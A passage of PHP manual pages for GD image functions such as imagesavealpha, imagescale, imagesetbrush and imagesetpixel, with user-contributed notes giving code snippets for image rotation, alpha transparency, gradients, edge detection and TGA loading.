function ImageRotateRightAngle( $imgSrc, $angle )
{
    // ensuring we got really RightAngle (if not we choose the closest one)
    $angle = min( ( (int)(($angle+45) / 90) * 90), 270 );

    // no need to fight
    if( $angle == 0 )
        return( $imgSrc );

    // dimenstion of source image
    $srcX = imagesx( $imgSrc );
    $srcY = imagesy( $imgSrc );

    switch( $angle )
        {
        case 90:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $srcY-$y-1, $x, $x, $y, 1, 1);
            break;

        case 180:
            $imgDest = ImageFlip( $imgSrc, IMAGE_FLIP_BOTH );
            break;

        case 270:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $y, $srcX-$x-1, $x, $y, 1, 1);
            break;
        }

    return( $imgDest );
}
?>
darren at lucidtone dot com 08-Dec-2004 05:43
Here's a neat function for those of us who don't have imagerotate() on our servers.  It's based on a comment from ron at korving dot demon dot nl on the manual page for imagecopyresampled.

I'm still not 100% on coping with transparency, but this function seems to cope okay.  It doesn't resize to fit within bounds, it just rotates and you lose anything outside the image box.

The bicubic mode is slooow.

If you want to be able to change the background colour, pass in a colour and use it where indicated.  The line I used just sets it transparent.

<?php
// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotateBicubic($src_img, $angle, $bicubic=false) {

    // convert degrees to radians
    $angle = $angle + 180;
    $angle = deg2rad($angle);

    $src_x = imagesx($src_img);
    $src_y = imagesy($src_img);

    $center_x = floor($src_x/2);
    $center_y = floor($src_y/2);

    $rotate = imagecreatetruecolor($src_x, $src_y);
    imagealphablending($rotate, false);
    imagesavealpha($rotate, true);

    $cosangle = cos($angle);
    $sinangle = sin($angle);

    for ($y = 0; $y < $src_y; $y++) {
      for ($x = 0; $x < $src_x; $x++) {
    // rotate...
    $old_x = (($center_x-$x) * $cosangle + ($center_y-$y) * $sinangle)
      + $center_x;
    $old_y = (($center_y-$y) * $cosangle - ($center_x-$x) * $sinangle)
      + $center_y;

    if ( $old_x >= 0 && $old_x < $src_x
         && $old_y >= 0 && $old_y < $src_y ) {
      if ($bicubic == true) {
        $sY  = $old_y + 1;
        $siY  = $old_y;
        $siY2 = $old_y - 1;
        $sX  = $old_x + 1;
        $siX  = $old_x;
        $siX2 = $old_x - 1;

        $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
        $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
        $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
        $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

        $r = ($c1['red']  + $c2['red']  + $c3['red']  + $c4['red']  ) << 14;
        $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
        $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;
        $a = ($c1['alpha']  + $c2['alpha']  + $c3['alpha']  + $c4['alpha'] ) >> 2;
        $color = imagecolorallocatealpha($src_img, $r,$g,$b,$a);
      } else {
        $color = imagecolorat($src_img, $old_x, $old_y);
      }
    } else {
          // this line sets the background colour
      $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
    }
    imagesetpixel($rotate, $x, $y, $color);
      }
    }
    return $rotate;
}
?>
jon at driestone dot com 07-Oct-2004 05:42
imagerotate does not preserve the alpha channel, so if you want to rotate a PNG you need to get
creative. I don't see any command to retrieve the alpha information from an image (as far as
I could see,) so you'll have to do a bit of manual labor before hand. In my case I created a
second PNG file with the alpha saved as RGB data and manually "copied" the data from source
to destination:

<?php
    function alpha_rotate($dst,$src,$rotate,$offsetX,$offsetY){

        $top = imagecreatefrompng("image_processing/shadow.png");
        $top_alpha = imagecreatefrompng("image_processing/shadow_alpha.png");

        imagecopyresampled($top,$src,0,0,0,0,100,100,100,100);

        $top = imagerotate($top,$rotate,0x000000);
        $top_alpha = imagerotate($top_alpha,$rotate,0x000000);

        for ($theX=0;$theX<imagesx($top);$theX++){
            for ($theY=0;$theY<imagesy($top);$theY++){

                $rgb = imagecolorat($top,$theX,$theY);
                $r = ($rgb >> 16) & 0xFF;
                $g = ($rgb >> 8) & 0xFF;
                $b = $rgb & 0xFF;

                $rgb = imagecolorat($top_alpha,$theX,$theY);
                $a = $rgb & 0xFF;
                $a = 127-floor($a/2);

                $myColor = imagecolorallocatealpha($top,$r,$g,$b,$a);
                imagesetpixel($dst,($theX+$offsetX),($theY+$offsetY),$myColor);
            }
        }
    }
?>
christoph (at) raketenbasis (dot) de 04-Oct-2004 09:41
The default direction of imageRotate() is counter clockwise. Heres a little function which solves the problem.

<?php

    function rotate(&$image_source, $rotate_value, $rotate_clockwise = true) {
        if($rotate_clockwise == true) {
            $rotate_value = 360 - $rotate_value;
        }
        $image_source = imageRotate($image_source, $rotate_value, 0);
    }

?>


Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images

  • « imagerotate
  • imagescale »
  • PHP Manual
  • GD and Image Functions
  • Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images

imagesavealpha

(PHP 4 >= 4.3.2, PHP 5)

imagesavealpha — Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images

Description

bool imagesavealpha ( resource $image , bool $saveflag )

imagesavealpha() sets the flag to attempt to save full alpha channel information (as opposed to single-color transparency) when saving PNG images.

You have to unset alphablending (imagealphablending($im, false)), to use it.

Alpha channel is not supported by all browsers, if you have problem with your browser, try to load your script with an alpha channel compliant browser, e.g. latest Mozilla.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

saveflag

Whether to save the alpha channel or not. Default to FALSE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesavealpha() example

<?php
// Load a png image with alpha channels
$png = imagecreatefrompng('./alphachannel_example.png');

// Do required operations

// Turn off alpha blending and set alpha flag
imagealphablending($png, false);
imagesavealpha($png, true);

// Output image to browser
header('Content-Type: image/png');

imagepng($png);
imagedestroy($png);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagealphablending() - Set the blending mode for an image

User Contributed Notes

ray hatfield 23-Feb-2011 08:01
After much trial and error and gnashing of teeth I finally figured out how to composite a png with an 8-bit alpha onto a jpg. This was not obvious to me so I thought I'd share. Hope it helps.

I'm using this to create a framed thumbnail image:

<?php
// load the frame image (png with 8-bit transparency)
$frame = imagecreatefrompng('path/to/frame.png');

// load the thumbnail image
$thumb = imagecreatefromjpeg('path/to/thumbnail.jpg');

// get the dimensions of the frame, which we'll also be using for the
// composited final image.
$width = imagesx( $frame );
$height = imagesy( $frame );

// create the destination/output image.
$img=imagecreatetruecolor( $width, $height );

// enable alpha blending on the destination image.
imagealphablending($img, true);

// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead of being transparent.
$transparent = imagecolorallocatealpha( $img, 0, 0, 0, 127 );
imagefill( $img, 0, 0, $transparent );

// copy the thumbnail into the output image.
imagecopyresampled($img,$thumb,32,30,0,0, 130, 100, imagesx( $thumb ), imagesy( $thumb ) );

// copy the frame into the output image (layered on top of the thumbnail)
imagecopyresampled($img,$frame,0,0,0,0, $width,$height,$width,$height);

imagealphablending($img, false);

// save the alpha
imagesavealpha($img,true);

// emit the image
header('Content-type: image/png');
imagepng( $img );

// dispose
imagedestroy($img);

// done.
exit;
?>
phil at unabacus dot net 23-Apr-2008 03:47
The comment left by "doggz at mindless dot com" will cause a duplication in layering of the transparent image - AlphaImageLoader loads the image as if it were a floating layer on top of the <img> element - so your image will double up.. so don't go thinking something very strange is happening with your PHP it's the silly browser ;)

The easiest (although not the best) way to get around this is to use the CSS background property instead of an image src - because as of yet you can't change an image's src dynamically using currently supported CSS:

<div style="width:200px; height:200px; background: url(my-trans-image.php); *background:url(); *filter:progid:
DXImageTransform.Microsoft.AlphaImageLoader(src='my-trans-image.php', sizingMethod='scale');"></div>

The above (although not pretty) keeps the image loaded as a background for any good browser as they should ignore the starred (*) CSS items and should support Alpha PNGs natively. IE will listen to the starred items and blank out the background whilst applying it's AlphaLoader on top. Obviously you need to know the width and height of your image but you can get this using getimagesize() or just by hardcoding.

Downsides to know:

1. Unless the user has 'backgrounds enabled when printing' your image wont show up when the webpage is printed.

2. You can't stretch or shrink a background image - if you change the div's dimensions from that of the image you will stretch it in IE (due to the 'scale' property - which you can change for sake of standardness to 'crop') but you will crop it in any other browser.

3. Most browsers treat images and backgrounds differently, in load priority and in the way the user can interact with them.

Other Options:

Other methods resort to using JavaScript or Browser Detection on the Server Side.


Scale an image using the given new width and height

  • « imagesavealpha
  • imagesetbrush »
  • PHP Manual
  • GD and Image Functions
  • Scale an image using the given new width and height

imagescale

(PHP 5 >= 5.5.0)

imagescale — Scale an image using the given new width and height

Description

resource imagescale ( resource $image , int $new_width [, int $new_height = -1 [, int $mode = IMG_BILINEAR_FIXED ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

new_width

new_height

mode

One of IMG_NEAREST_NEIGHBOUR, IMG_BILINEAR_FIXED, IMG_BICUBIC, IMG_BICUBIC_FIXED or anything else (will use two pass).

Return Values

Return scaled image resource on success or FALSE on failure.

User Contributed Notes

Anonymous 16-Oct-2014 06:05
imageScale has got troubles with scaling images...
It can output Segmentation Fault when you want to provide custom $mode argument.
How to scale image with interpolation in php gd?
Use imagecopyresampled() instead of imagescale().
abc at ed48.com 16-Oct-2013 05:13
<img src="image.jpg" alt="image" /><br><br>
<?php
$org_info = getimagesize("image.jpg");
echo $org_info[3] . '<br><br>';
$rsr_org = imagecreatefromjpeg("image.jpg");
$rsr_scl = imagescale($rsr_org, 860, 860,  IMG_BICUBIC_FIXED);
imagejpeg($rsr_scl, "imagebfb.jpg");
imagedestroy($rsr_org);
imagedestroy($rsr_scl);
?>
<img src="imagebfb.jpg" alt="imagebfb" /><br><br>
<?php
$scl_info = getimagesize("imagebfb.jpg");
echo $scl_info[3];
?>


Set the brush image for line drawing

  • « imagescale
  • imagesetinterpolation »
  • PHP Manual
  • GD and Image Functions
  • Set the brush image for line drawing

imagesetbrush

(PHP 5 >= 5.5.0)

imagesetbrush — Set the brush image for line drawing

Description

bool imagesetbrush ( resource $image , resource $brush )

imagesetbrush() sets the brush image to be used by all line drawing functions (such as imageline() and imagepolygon()) when drawing with the special colors IMG_COLOR_BRUSHED or IMG_COLOR_STYLEDBRUSHED.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

brush

An image resource.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesetbrush() example

<?php
// Load a mini php logo
$php = imagecreatefrompng('./php.png');

// Create the main image, 100x100
$im = imagecreatetruecolor(100, 100);

// Fill the background with white
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// Set the brush
imagesetbrush($im, $php);

// Draw a couple of brushes, each overlaying each
imageline($im, 50, 50, 50, 60, IMG_COLOR_BRUSHED);

// Output image to the browser
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($php);
?>

The above example will output something similar to:

Output of example : imagesetbrush()

Notes

Note:

You need not take special action when you are finished with a brush, but if you destroy the brush image, you must not use the IMG_COLOR_BRUSHED or IMG_COLOR_STYLEDBRUSHED colors until you have set a new brush image!

User Contributed Notes

brent at ebrent dot net 31-Jul-2006 07:54
Use a brush to create a thick line.

To create a 3x3 red brush:

<?php
$brush_size = 3;
$brush = imagecreatetruecolor($brush_size,$brush_size);
$brush_color = imagecolorallocate($brush,255,0,0);
imagefill($brush,0,0,$brush_color);
imagesetbrush($im,$brush);
?>

Then use imageline() or imagepolygon() with IMG_COLOR_BRUSHED as the color.

To stop using the brush, destroy it:

<?php imagedestroy($brush); ?>

The brush can also be created from an existing image.


Set the interpolation method

  • « imagesetbrush
  • imagesetpixel »
  • PHP Manual
  • GD and Image Functions
  • Set the interpolation method

imagesetinterpolation

(PHP 5 >= 5.5.0)

imagesetinterpolation — Set the interpolation method

Description

bool imagesetinterpolation ( resource $image [, int $method = IMG_BILINEAR_FIXED ] )

Sets the interpolation method, setting an interpolation method affects the rendering of various functions in GD, such as the imagerotate() function.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

method

The interpolation method, which can be one of the following:

  • IMG_BELL: Bell filter.
  • IMG_BESSEL: Bessel filter.
  • IMG_BICUBIC: Bicubic interpolation.
  • IMG_BICUBIC_FIXED: Fixed point implementation of the bicubic interpolation.
  • IMG_BILINEAR_FIXED: Fixed point implementation of the bilinear interpolation (default (also on image creation)).
  • IMG_BLACKMAN: Blackman window function.
  • IMG_BOX: Box blur filter.
  • IMG_BSPLINE: Spline interpolation.
  • IMG_CATMULLROM: Cubic Hermite spline interpolation.
  • IMG_GAUSSIAN: Gaussian function.
  • IMG_GENERALIZED_CUBIC: Generalized cubic spline fractal interpolation.
  • IMG_HERMITE: Hermite interpolation.
  • IMG_HAMMING: Hamming filter.
  • IMG_HANNING: Hanning filter.
  • IMG_MITCHELL: Mitchell filter.
  • IMG_POWER: Power interpolation.
  • IMG_QUADRATIC: Inverse quadratic interpolation.
  • IMG_SINC: Sinc function.
  • IMG_NEAREST_NEIGHBOUR: Nearest neighbour interpolation.
  • IMG_WEIGHTED4: Weighting filter.
  • IMG_TRIANGLE: Triangle interpolation.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesetinterpolation() example

<?php
// Load an image
$im = imagecreate(500, 500);

// By default interpolation is IMG_BILINEAR_FIXED, switch
// to use the 'Mitchell' filter:
imagesetinterpolation($im, IMG_MITCHELL);

// Continue to work with $im ...
?>

Notes

Changing the interpolation method affects the following functions when rendering:

  • imageaffine()
  • imagerotate()
  • imagescale()

User Contributed Notes

There are no user contributed notes for this page.


Set a single pixel

  • « imagesetinterpolation
  • imagesetstyle »
  • PHP Manual
  • GD and Image Functions
  • Set a single pixel

imagesetpixel

(PHP 4, PHP 5)

imagesetpixel — Set a single pixel

Description

bool imagesetpixel ( resource $image , int $x , int $y , int $color )

imagesetpixel() draws a pixel at the specified coordinate.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x

x-coordinate.

y

y-coordinate.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesetpixel() example

A random drawing that ends with a regular picture.

<?php

$x = 200;
$y = 200;

$gd = imagecreatetruecolor($x, $y);

$corners[0] = array('x' => 100, 'y' =>  10);
$corners[1] = array('x' =>   0, 'y' => 190);
$corners[2] = array('x' => 200, 'y' => 190);

$red = imagecolorallocate($gd, 255, 0, 0);

for ($i = 0; $i < 100000; $i++) {
  imagesetpixel($gd, round($x),round($y), $red);
  $a = rand(0, 2);
  $x = ($x + $corners[$a]['x']) / 2;
  $y = ($y + $corners[$a]['y']) / 2;
}

header('Content-Type: image/png');
imagepng($gd);

?>

The above example will output something similar to:

Output of example : imagesetpixel()

See Also

  • imagecreatetruecolor() - Create a new true color image
  • imagecolorallocate() - Allocate a color for an image
  • imagecolorat() - Get the index of the color of a pixel

User Contributed Notes

CR@SH 25-Feb-2014 08:27
imagesetpixel ($image, $x, $y, IMG_COLOR_BRUSHED);
guy032 at gmail dot com 03-May-2012 03:57
making images with white (or close to white) background transprent

<?
function FloodFill($im, $x, $y)
{
    $rgb = imagecolorat($im, $x, $y);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;

    $counter=0;
    $counter2=0;
    if($r >= 245){ $counter++;}
    if($g >= 245){ $counter++;}
    if($b >= 245){ $counter++;}
    if($r >= 240){ $counter2++;}
    if($g >= 240){ $counter2++;}
    if($b >= 240){ $counter2++;}

    if($counter >= 1 && $counter2 == 3){
        $background = imagecolorallocate($im, 180, 0, 255);
        imagesetpixel($im, $x, $y, $background);

        FloodFill ($im, $x, $y+1);
        FloodFill ($im, $x+1, $y);
        FloodFill ($im, $x, $y-1);
    }
}

$src = $_GET["src"];
$im = imagecreatefromjpeg($src);

// Draw border
$border = imagecolorallocate($im, 180, 0, 255);
drawBorder($im, $border, 1);

// Draw a border
function drawBorder($im, $color, $thickness = 1)
{
    $x1 = 0;
    $y1 = 0;
    $x2 = ImageSX($im) - 1;
    $y2 = ImageSY($im) - 1;

    for($i = 0; $i < $thickness; $i++)
    {
        ImageRectangle($im, $x1++, $y1++, $x2--, $y2--, $color);
    }
}

$rgb = imagecolorat($im, 0, 0);
FloodFill($im, 0, 0);
$color = imagecolorallocate($im, 180, 0, 255);
imagecolortransparent($im, $color);
header("Content-type: image/png");
imagepng($im);
imagedestroy($im);
?>
mail AT kkapsner DOT de 07-May-2010 01:04
It IS posible to "delete" pixels from an image in PHP natively - the key-function is imageAlphaBlending:
<?php

$image = imageCreateTrueColor(101, 101);
imageSaveAlpha($image, true);

# draw a red cycle with alpha blending
$red = imageColorAllocateAlpha($image, 255, 0, 0, 30);
imageFilledEllipse($image, 50, 50, 100, 100, $red);

# disable alpha blending for deletion
imageAlphaBlending($image, false);

# paint with a complete opaque color
$trans = imageColorAllocateAlpha($image, 0, 0, 0, 127);

# you can clear every shape you like
imageFilledRectangle($image, 30, 30, 70, 70, $trans);

# enable alpha blending again
imageAlphaBlending($image, true);

# draw a green rectangle with alpha blending
$green = imageColorAllocateAlpha($image, 0, 255, 0, 40);
imageFilledRectangle($image, 40, 20, 90, 80, $green);

header("Content-Type: image/png");
imagePNG($image);

?>
cyberhorse at users dot sourceforge dot net 18-Feb-2010 04:54
Given an image $src and mask $mask, this applies the mask over the image, using different levels of transparency properly.

<?php
function image_mask(&$src, &$mask) {
    imagesavealpha($src, true);
    imagealphablending($src, false);
    // scan image pixels
    for ($x = 0; $x < imagesx($src); $x++) {
        for ($y = 0; $y < imagesy($src); $y++) {
            $mask_pix = imagecolorat($mask,$x,$y);
            $mask_pix_color = imagecolorsforindex($mask, $mask_pix);
            if ($mask_pix_color['alpha'] < 127) {
                $src_pix = imagecolorat($src,$x,$y);
                $src_pix_array = imagecolorsforindex($src, $src_pix);
                imagesetpixel($src, $x, $y, imagecolorallocatealpha($src, $src_pix_array['red'], $src_pix_array['green'], $src_pix_array['blue'], 127 - $mask_pix_color['alpha']));
            }
        }
    }
}
?>

If your mask is reversed, change 127 - $mask_pix_color['alpha'] with just $mask_pix_color['alpha']
caffinated 29-Aug-2009 02:21
Want to have some fun with this function?  How about edge detection! (ported from http://bitecode.co.uk/2008/07/edge-detection-in-python/)

<?php
function edge($input, $output)
{
  $in_im = imageCreateFromJpeg($input);
  $gx = array(array(-1, 0, 1), array(-2, 0, 2), array(-1, 0, 1));
  $gy = array(array(-1, -2, -1), array(0, 0, 0), array(1, 2, 1));
  $x = imagesx($in_im);
  $y = imagesy($in_im);
  $out_im = imagecreatetruecolor($x, $y);
  $colors = array(255 => imagecolorallocate($out_im, 255, 255, 255));
  for ($row = 1; $row < $x; $row++)
  {
    for ($col = 1; $col < $y; $col++)
    {
      $eyedropper =imagecolorat($in_im, $x, $y);
      $color =imagecolorsforindex($in_im, $eyedropper);
      $pxval = ($color['red'] + $color['green'] + $color['blue']) / 3;
      $pixel_gx = $pixel_gy = 0;
      for ($i = -1; $i < 2; $i++)
      {
        for ($j = -1; $j < 2; $j++)
        {
          $eyedropper =imagecolorat($in_im, $row+$i, $col+$j);
          $color =imagecolorsforindex($in_im, $eyedropper);
          $val = ($color['red'] + $color['green'] + $color['blue']) / 3;
          $pixel_gx += $gx[$i+1][$j+1] * $val;
          $pixel_gy += $gy[$i+1][$j+1] * $val;
        }
      }
      $pixel = sqrt($pixel_gx * $pixel_gx + $pixel_gy * $pixel_gy);
      $pixel = abs(255 - (int)$pixel);
      if (!isset($colors[$pixel])) $colors[$pixel] = imagecolorallocate($out_im, $pixel, $pixel, $pixel);
      imageSetPixel($out_im, $row, $col, $colors[$pixel]);
    }
  }
  imagejpeg($out_im,$output, 75);
}

edge('input.jpg', 'output.jpg');

?>
aelitadelarobia at gmail dot com 15-Aug-2009 09:56
another gradient example that can do horizontal or vertical gradients

<?php
$width=$_GET['width'];
$height=$_GET['height'];
$starts=explode(",",$_GET['startcolor']);
$ends=explode(",",$_GET['endcolor']);
    $rstart=$starts[0];
    $gstart=$starts[1];
    $bstart=$starts[2];
    $rend=$ends[0];
    $gend=$ends[1];
    $bend=$ends[2];
    $r=$rstart;
    $g=$gstart;
    $b=$bstart;
$bigger=imagecreatetruecolor($width,$height);
for ($y=0;$y<=265;$y++) {
    if ($mode == 'horiz') { //if doing a horizontal gradient, reset to the starting color every row
        $r=$rstart;
        $g=$gstart;
        $b=$bstart;
    }
    for ($x=0;$x<=464;$x++) {
        imagesetpixel($bigger,$x,$y,imagecolorallocate($bigger,$r,$g,$b));
        if ($mode=="horiz") {
            if ($r != $rend) {
                $r=$r+(($rend-$rstart)/$width);
            }
            if ($g != $gend) {
                $g=$g+(($gend-$gstart)/$width);
            }
            if ($b != $bend) {
                $b=$b+(($bend-$bstart)/$width);
            }
        }
    }
    if ($mode == "vert") {
        if ($r != $rend) {
            $r=$r+(($rend-$rstart)/$height);
        }
        if ($g != $gend) {
            $g=$g+(($gend-$gstart)/$height);
        }
        if ($b != $bend) {
            $b=$b+(($bend-$bstart)/$height);
        }
    }
}
header("Content-type: image/jpeg");
header('Content-Disposition: inline; filename="gradient.jpg"');

imagejpeg($bigger,NULL,99);
imagedestroy($bigger);
?>
CPHaxer 25-Feb-2009 10:35
Sorry for the long intro of my function, but i just want to tell how it works and - how silly sometimes the ideas are to make such functions. Have fun ;D

<?php

  //@FunctionName:    drawPlot
  //@Parameters:      drawPlot(img &$image, int $red, int $green, int $blue, int $x, int $y)
  //
  //                  img $image
  //                    The Image it will draw on. The Image will be modified; there is no return value.
  //
  //                  int $red, int $green, int $blue
  //                    The Colorvalues to draw with
  //
  //                  int $x, int $y
  //                    The Location to draw the Plot.
  //                    And this is the Mainpart, because $x and $y
  //                    NEED NOT be rounded!
  //                    If you want to make a Plot at [253.643891, 482];
  //                    It will draw the Plot there. Exact at the Coordinates.
  //                    You could use this to make smooth lines.
  //                    They have rational Coordinates, too.
  //
  //@Author:          Alexander Rath (*Feb 9th, 1996 ; 13 Years old)
  //
  //@Idea:            We have in Math Geometrie now. And as the only Computerfreak
  //                  In the class, i asked me: "How would it be, to mirror something
  //                  At a NOT FLAT LINE."
  //                  So I started thinking about it. First i tought about degresses - Nah!
  //                  Then i saw:
  //                  A point to mirror, has the SHORTEST way to the Line;
  //                  so i just needed to make the result smooth.
  //                  Unlike the other ways to draw pixels.
  //                                ~I started developing this:
  // PS: Sorry for bad english ( I am german )

  //Lets create a TrueColor Image Resource
  $image = imagecreatetruecolor(640, 480);

  //Lets make it Alpha
  imagealphablending($image, true);
  imagesavealpha($image, true);

  //...with White Background to draw on.
  imagefilledrectangle($image, 0, 0, 640, 480, imagecolorallocate($image, 255, 255, 255));

  //This is my little "Example"-Script
  for($x = 0; $x <= 640; $x = $x + 0.01) {
    $y = $x / (tan($x) + 1);
    drawPlot($image, 0, 0, 0, $x, $y);
  }

  header("Content-type: image/png");
  imagepng($image);

  function drawPlot(&$func_image, $func_red, $func_green, $func_blue, $func_x, $func_y) {
    $func_Right = $func_x - floor($func_x);
      $func_Left = 1 - $func_Right;

      $func_Bottom = $func_y - floor($func_y);
      $func_Top = 1 - $func_Bottom;

    $func_RightAlpha = $func_Right * 127;
    $func_LeftAlpha = $func_Left * 127;

    $func_LeftTop = $func_LeftAlpha * $func_Top;
    $func_RightTop = $func_RightAlpha * $func_Top;
    $func_LeftBottom = $func_LeftAlpha * $func_Bottom;
    $func_RightBottom = $func_RightAlpha * $func_Bottom;

    $func_x = floor($func_x);
    $func_y = floor($func_y);

    imagesetpixel($func_image, $func_x, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftTop));
    imagesetpixel($func_image, $func_x + 1, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightTop));
    imagesetpixel($func_image, $func_x + 1, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightBottom));
    imagesetpixel($func_image, $func_x, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftBottom));
  }

?>

Have fun ;D
Scott Evernden (doctor3d at gmail) 20-Dec-2008 02:00
Re: imagecreatefromtga() .. I just did some testing with what I think are valid Targa-24 and Targa-32 bit images, and modified the inner logic as follows:

<?php
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 7;
            $g = ($word & 0x03E0) >> 2;
            $b = ($word & 0x001F) << 3;
            $a = ($word & 0x8000) ? 127 : 0;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);         }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - BBBBBBBB GGGGGGGG RRRRRRRR
        {
            $r = fileint($data, $pointer, 1);
            $b = fileint($data, $pointer+1, 1);
            $g = fileint($data, $pointer+2, 1);
            $color = imagecolorallocate($image, $r, $g, $b);
            imagesetpixel($image, $x, $y, $color);
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - BBBBBBBB GGGGGGGG RRRRRRRR AAAAAAAA
        {
            $b = fileint($data, $pointer, 1);
            $g = fileint($data, $pointer+1, 1);
            $r = fileint($data, $pointer+2, 1);
            $a = (255 - fileint($data, $pointer+3, 1)) >> 1;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);
        }
?>

The red and blue tint issue seems to be fixed by this...
mm 15-Dec-2008 03:30
@ Scott Evernden

Scott, your function works great for uncompressed TGA image files, except the results for TGA 32 with alpha don't come out right, at least in my tests. If the alpha is all white, the resulting image comes out with a red tint. If black, the resulting image has a blue tint. I don't know how to make it just ignore the alpha, but that would be handy...
Anonymous 16-Jul-2008 06:41
This snippet creates a gradient images depending on the value of RGB components. Gradients allow your page to have a shadow effect.

<?php
try{
   if(!$image=imagecreatetruecolor(50,10)){
     throw new Exception('Error creating image');
   }

   for($y=0;$y<10;++$y)
      {
      $color=imagecolorallocate($image, 75+($y*5),75+($y*11),75+($y*9));
      for($x=0;$x<50;++$x)
         {
         imagesetpixel($image,$x,$y,$color);
         }
      }

   //header("Content-type: image/jpeg");
   imagejpeg($image,'footerShadow.jpg');
   // free memory
   imagedestroy($image);

}
catch(Exception $e){
   echo $e->getMessage();
   exit();
}
?>
Scott Evernden (doctor3d at gmail) 01-May-2008 12:44
My last note doesn't do alpha properly, so make the following change to the appropriate lines:

$r = ($word & 0x7C00) >> 7;
$g = ($word & 0x03E0) >> 2;
$b = ($word & 0x001F) << 3;
$a = ($word & 0x8000) ? 127 : 0;
$color = imagecolorallocatealpha($image, $r, $g, $b, $a);
imagesetpixel($image, $x, $y, $color);
Scott Evernden (doctor3d at gmail) 26-Apr-2008 03:25
here's my version of imagecreatefromtga() that's been tested to work for targa 16 .. adapted from offering by zehao dot chang at gmail dot com

function imagecreatefromtga($filename)
{
    $data = file_get_contents($filename);

    // Extract header information
    $string_length = fileint($data, 1, 1);
    $data_type = fileint($data, 2, 1);
    $width = fileint($data, 12, 2);
    $height = fileint($data, 14, 2);
    $bits_per_pixel = fileint($data, 16, 1);

    $bytes_per_pixel = (int) $bits_per_pixel / 8;

    // Currently only supporting RGB Data type
    switch ($data_type)        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:     // Uncompressed RGB image
            break;
        case 0:     // No attached image data
        case 1:     // Uncompressed color-mapped image
        case 3:     // Uncompressed black and white image
        case 9:     // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $x = 0;  $y = $height - 1;

    $image = imagecreatetruecolor($width, $height);

    while ($pointer < strlen($data))
    {
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 10;
            $g = ($word & 0x03E0) >> 5;
            $b = ($word & 0x001F);
            imagesetpixel($image, $x, $y, $r << 19 | $g << 11 | $b << 3);
        }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer, 3));
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer + 1, 3));
        }

        if (++$x == $width)
        {
            $y--;
            $x = 0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

function fileint($data, $pos, $len)
{
    return base_convert(bin2hex(strrev(substr($data, $pos, $len))), 16, 10);
}
Gusts Kaksis 13-Apr-2007 04:29
This code generate a simple colortable - not a very acurate one (it would be good to define fade of color - more fading)

<?php
set_time_limit(200);
/*
